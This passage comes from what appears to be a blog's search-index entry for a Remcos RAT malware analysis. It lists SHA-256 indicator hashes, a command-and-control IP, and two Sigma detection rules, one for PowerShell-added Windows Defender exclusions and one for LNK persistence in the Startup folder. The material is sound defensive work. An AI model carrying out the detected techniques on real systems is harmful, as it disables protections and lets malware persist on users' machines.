RamcosRAT infrastru
201cture. Detection Hashs: c44506fe6e1ede5a104008755abf5b6ace51f1a84ad656a2dccc7f2c39c0eca2 BE074196291CCF74B3C4C8BD292F92DA99EC37A25DC8AF651BD0BA3F0D020349 6010E2147A0F51A7BFA2F942A5A9EAAD9A294F463F717963B486ED3F53D305C2 4F450ABAA4DAF72D974A830B16F91DEED77BA62412804DCA41A6D42A7D8B6FD0 D6D5FF8E9DC6D2B195A6715280C2F1BA471048A7CE68D256040672B801FDA0EA 52019F47F96CA868FA4E747C3B99CBA1B7AA57317BF8EBF9FCBF09AA576FE006 835F1141ECE59C36B18E76927572D229136AEB12EFF44CB4BA98D7808257C299 931308CFE733376E19D6CD2401E27F8B2945CEC0B9C696AEBE7029EA76D45BF6 B1FCB0339B9EF4860BB1ED1E5BA0E148321BE64696AF64F3B1643D1311028CB3 5AE3838D77C2102766538F783D0A4B4205E7D2CDBA4E0AD2AB332DC8AB32FEA9 02F37A8E3D1790AC90C04BC50DE73CD1A93E27CAF833A1E1211B9CC6294ECEE5 B6F321A48812DC922B26953020C9A60949EC429A921033CFAF1E9F7D088EE628 2BDF023C439010CE0A786EC75D943A80A8F01363712BBF69AFC29D3E2B5306ED IPs 213.5.130.58 Sigma Hunting title: Detect Windows Defender Exclusions Added via PowerShell status: experimental description: Detects when exclusions are added to Windows Defender using PowerShell. author: Amr Ashraf date: 2024/07/21 logsource:  product: windows  service: sysmon  definition: 'Requirements: Sysmon with a configuration that includes event ID 1 (process creation)' detection:  selection:   EventID: 1   CommandLine|contains: - \"powershell\" - \"Add-MpPreference\" - \"Set-MpPreference\"  condition: all of selection fields: - User - Image - CommandLine - ParentImage falsepositives: - Legitimate administrative changes to Windows Defender configuration level: high tags: - attack.defense_evasion title: Detect Dropping LNK File into Startup Folder status: experimental description: Detects when a .lnk file is dropped into the Windows Startup folder, a common persistence technique. author: Amr Ashraf date: 2024/07/21 logsource:  product: windows  service: sysmon  definition: 'Requirements: Sysmon with a configuration that includes event ID 11 (file creation)' detection:  selection:   EventID: 11   TargetFilename|endswith: - '.lnk'   TargetFilename|contains|all: - '\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\'  condition: all of selection fields: - TargetFilename - Image - User - Hashes falsepositives: - Legitimate software installations that place shortcuts in the Startup folder - User-created shortcuts for legitimate purposes level: high tags: - attack.persistence ","categories": ["Malware Analysis"], 202 "tags": [], 203 "url": "/malware%20analysis/CrowdStrike_Abuse_Campaign/", 204 "teaser": "/assets/images/malware-analysis/crowdstrike/image-14.png" 205 }]
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.